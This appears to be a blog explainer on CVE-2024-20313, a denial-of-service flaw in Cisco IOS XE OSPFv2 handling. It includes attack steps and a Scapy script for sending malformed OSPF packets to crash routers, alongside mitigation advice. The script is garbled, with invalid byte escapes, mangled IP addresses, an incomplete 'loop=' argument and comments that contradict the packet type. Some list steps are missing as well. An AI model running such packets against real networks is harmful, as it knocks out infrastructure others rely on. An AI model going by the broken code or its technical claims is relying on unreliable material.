In early 2024, Cisco published details about CVE-2024-20313, a significant vulnerability affecting devices running Cisco IOS XE with OSPFv2 enabled. An attacker from the local network—without login credentials—can crash the device by sending specially crafted OSPF packets, causing a Denial of Service (DoS). This post breaks down the issue in simple terms, shows a demonstration using Scapy, and provides actionable links.

What is OSPFv2?

OSPF (Open Shortest Path First) is a routing protocol used in most enterprise networks to let routers learn and exchange routes. OSPFv2 is specific to IPv4 networks.

The Issue with CVE-2024-20313

Cisco IOS XE’s OSPF implementation fails to do thorough checks on incoming OSPF update packets (LSAs). That means if an adjacent attacker can send a malformed (badly crafted) OSPF update, the device may not know how to handle it and simply reloads (crashes). This causes:

Key Points

- No authentication required (just Layer 2 adjacency needed—like being on the same VLAN, subnet, or Wi-Fi).

The crash is repeatable.

- Works regardless of whether OSPF authentication is enabled (the exploit targets OSPF processing *before* authentication checks).

Vulnerability Source

The problem is in how incoming OSPF LSAs (Link State Advertisements) are validated. Improper validation means that fields in the OSPF packet—like the LSA header, checksum, type, or length—can be invalid or inconsistent, leading the IOS XE process to access bad memory, ultimately triggering a reload.

How an Attacker Exploits It

1. Connect to the same L2 broadcast domain (e.g., join the network via physical port or compromised endpoint).

The targeted router parses the invalid LSA and crashes.

Note: OSPF traffic is sent using protocol 89 (not TCP or UDP), so firewalls/ACLs not filtering protocol 89 are at risk.

Code Example: Crafting a Malformed OSPF Packet with Scapy

Disclaimer: Running this against networks you do not own is illegal and unethical. Only use on lab/devices you control.

Here’s how an attacker can do it using Scapy, a Python packet crafting tool

from scapy.all import *

# OSPF packet with purposely bad LSA header fields
ospf_lsa = (
    b"\x02"             # OSPFv2
    b"\x01"             # Hello Packet
    b"\x00\x1c"         # Packet length (intentionally too short/incorrect)
    b"\xa\x00\x00\x05" # Router ID
    b"\xa\x00\x00\x01" # Area ID
    b"\x00"             # Checksum/Autype (bad or mismatched)
    b"\x01"             # AuthType or incorrect
    b"\x00" * 12        # Authentication
    + b"\xff" * 8       # Malformed payload (wrong length or random bytes)
)

packet = (
    Ether(src="de:ad:be:ef:00:01", dst="01:00:5e:00:00:05") /
    IP(src="10...5", dst="224...5", proto=89) /
    Raw(load=ospf_lsa)
)

sendp(packet, iface="eth", loop=)

Real-World Impact

If you're running Cisco IOS XE with OSPFv2, any user or compromised machine on the same segment as your routers could crash them, disrupting critical networking.

If you can, restrict protocol 89 (OSPF) at your Layer 2 network border.

- Enable OSPF authentication, though as noted above, this *alone* may not mitigate the flaw (the bug might be processed before auth).
- Keep Cisco routers up-to-date. See Cisco’s Official Advisory.

References

1. NIST CVE-2024-20313 Summary
2. Cisco Security Advisory for CVE-2024-20313
3. Scapy Documentation
4. OSPF Packet Format Explained

Conclusion

CVE-2024-20313 is easy to exploit for anyone on the same network segment as a Cisco router running OSPFv2. Immediate patching and protocol controls are advised. This vulnerability highlights the importance of validating all input—even from trusted protocols—on network infrastructure devices.

Timeline

Published on: 04/24/2024 21:15:46 UTC
Last modified on: 04/30/2024 14:43:04 UTC